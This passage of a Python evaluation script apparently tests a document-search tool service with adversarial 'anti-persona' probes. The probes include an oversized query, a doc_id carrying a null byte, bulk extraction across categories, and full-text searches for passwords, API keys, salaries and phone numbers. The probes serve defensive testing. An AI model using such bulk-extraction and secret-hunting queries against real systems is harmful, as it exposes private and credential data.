r = await search_documents(query="가" * 10000)
p = json.loads(r)
output.append(f"**C4-4** 1만 글자 → {p['total']}건\n")
r = await get_document(doc_id="PRD-001\x00")
p = json.loads(r)
has_error = "error" in p
output.append(f"**C4-6** null byte → error: {has_error}")
normal = await get_document(doc_id="PRD-001")
np_ = json.loads(normal)
output.append(f", 정상 PRD-001: {'✅' if 'error' not in np_ else '❌'}\n")
output.append("**Pass/Fail**: ______\n")
# C5: 대량 추출
output.append("### C5: 대량 추출 시도\n")
total_all = 0
for cat in ("prd", "ac", "ab", "research", "nng", "baymard", "dovetail"):
r = await list_documents(category=cat, limit=10)
p = json.loads(r)
total_all += p["total"]
output.append(f"- {cat}: {p['total']}건\n")
output.append(f"\n**C5-1** 7개 카테고리 합계: **{total_all}건**\n")
ids = [f"PRD-{i:03d}" for i in range(1, 21)]
r = await get_documents_batch(doc_ids=ids, fields="full")
p = json.loads(r)
output.append(f"**C5-2** PRD 20개 batch full → {p['total']}건, 모두 content 포함: {'✅' if all('content' in d for d in p['results']) else '❌'}\n")
output.append("**Pass/Fail**: ______\n")
# C6: 민감 정보
output.append("### C6: 민감 정보 탐색\n")
for tid, q in [("C6-1","비밀번호"),("C6-2","전화번호"),("C6-3","연봉"),("C6-4","API key"),("C6-5","password"),("C6-6","인사평가")]:
r = await full_text_search(query=q)
p = json.loads(r)
output.append(f"**{tid}** `\"{q}\"` → **{p['total']}건**")
if p["total"] > 0:
output.append(f" — 첫 snippet: _{p['results'][0].get('snippet','')[:60]}_")
output.append("\n")
output.append("**Pass/Fail**: ______\n")
return "\n".join(output)
async def main():
print("Use Case 평가 파일 생성 중...")
usecase = await generate_usecase_evaluation()
with open("docs/usecase-evaluation.md", "w") as f:
f.write(usecase)
print(f"✅ docs/usecase-evaluation.md ({len(usecase)} bytes)")
print("Anti-Persona 평가 파일 생성 중...")
anti = await generate_anti_persona_evaluation()
with open("docs/anti-persona-evaluation.md", "w") as f:
f.write(anti)
print(f"✅ docs/anti-persona-evaluation.md ({len(anti)} bytes)")
if __name__ == "__main__":
asyncio.run(main())
|